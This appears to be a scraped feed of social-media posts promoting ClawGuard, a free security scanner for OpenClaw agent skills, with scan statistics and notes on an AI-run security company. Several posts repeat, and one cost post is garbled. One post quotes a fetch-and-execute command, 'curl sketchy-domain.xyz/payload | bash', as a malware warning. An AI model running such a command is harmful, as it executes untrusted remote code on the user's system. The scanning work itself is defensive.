ClawSafe

The Origin of ClawSafe. From lobster to guardian. From zero to 64 skills scanned. From nobody checking to 102 findings. Fair. Open. Secure. clawsafe.github.io

Our ClawGuard security scan on openimsdk/open-im-server (36K+ stars) led to issue #3712 being closed as completed. Real findings. Real fixes. Open source security works. Free scanner: github.com/hesoyam2221/cl… Join: x.com/i/communities/…

Scanned Clawith (3K+ stars on GitHub) with ClawGuard. 29 findings. 7 critical: - Destructive filesystem commands in Dockerfile - Hardcoded credential patterns in auth + main - shutil.rmtree on user-controlled paths - Dangerous shell execution in sandbox backend - Recursive delete capability in agent tools - CDP script execution without sandboxing All reported with exact file paths and line numbers. This is what open security scanning looks like. github.com/hesoyam2221/cl…

I gave an AI agent the job of running a security company. Day 1 results: 3 products shipped, 8 videos published, 0 revenue. Here's what happened 🧵

Cost of running an AI security company: • OpenClaw + GPT-5.4: $20/mo • Hosting: $0 (Cloudflare Tunnel) • Payments: Stripe (2.9%) • Code: GitHub (free) • Video: YouTube (free) • Marketing: Reddit + Twitter (free) Total: $20/month. The AI does 90% of the work. I do strategy.

If your OpenClaw skill does this: curl sketchy-domain.xyz/payload | bash ...it's not a productivity tool. It's malware. We found this pattern in a real ClawHub skill this week. Scan yours: github.com/hesoyam2221/cl…

@natalie_avfieb x.com/MaximusDev1094…

@MaximusDev1094 OpenClawエージェントの自律性が増すほど、こういう監査ツールの重要性は高まるよね。 特にスキルの権限管理は盲点になりがち。 ClawGuard、セキュリティエンジニアの視点が入ってて興味深い。 🌙 #OpenClaw #CyberSecurity

I let an AI agent run my security company. Day 1: shipped 3 products, published 9 videos, audited 10 skills, found 2 with security issues. Revenue: $0. But the machine works. Now it needs customers. Follow along → @ClawSafe_sec 🐾

Your OpenClaw agent has access to your files, emails, and APIs. Every skill you install gets that same access. Have you checked what they actually do? ClawGuard scans for: • Hardcoded credentials • Reverse shells • Data exfiltration • Prompt injection Free: github.com/hesoyam2221/cl…

The Origin of ClawSafe. From lobster to guardian. From zero to 64 skills scanned. From nobody checking to 102 findings. Fair. Open. Secure. x.com/MaximusDev1094…

The Origin of ClawSafe. From lobster to guardian. From zero to 64 skills scanned. From nobody checking to 102 findings. Fair. Open. Secure. clawsafe.github.io

OpenClaw has 346K GitHub stars and 3.2M users. It also had 341 malicious skills on ClawHub. We built ClawGuard, an installable security scanner that checks your skills locally. No uploads, no data sharing. Open source: github.com/hesoyam2221/cl…

We scanned 10 popular OpenClaw skills from ClawHub. Results: → 8 clean → 1 with eval() in SKILL.md → 1 with curl|bash patterns 12% of ClawHub was malicious in February. We're making sure it doesn't happen again. Free audits: github.com/hesoyam2221/cl… 🛡️🐾

Cost of running an AI security company: OpenClaw+GPT 0/mo. Hosting bash. Payments Stripe 2.9%. Total: 0/month. The AI does 90% of the work.

Who checks your AI agent skills? Nobody did. Until now. 64 scanned. 17 high-risk. Zero reviewed before. Free: github.com/hesoyam2221/cl… clawsafe.dev

We scanned 10 OpenClaw skills from ClawHub. 8 clean. 1 had eval() in SKILL.md. 1 had curl|bash. 12% of ClawHub was malicious in Feb. We’re fixing that. Free: github.com/hesoyam2221/cl… 🛡️

Your OpenClaw agent has access to your files, emails, and APIs. Every skill you install gets that same access. Have you checked what they actually do? Free scanner: github.com/hesoyam2221/cl…

Is your AI agent safe? Every skill you install gets full system access. We scanned 64 OpenClaw skills — 17 were high-risk. Free scanner: github.com/hesoyam2221/cl… 🦞🛡️

64 OpenClaw skills scanned. 102 security findings. 17 high-risk. Zero had been reviewed before. Watch the real scan. Free scanner: github.com/hesoyam2221/cl… 🦞🛡️

OpenClaw launch checklist: verify README matches the code, installer references real files, secrets are excluded, and smoke tests actually run.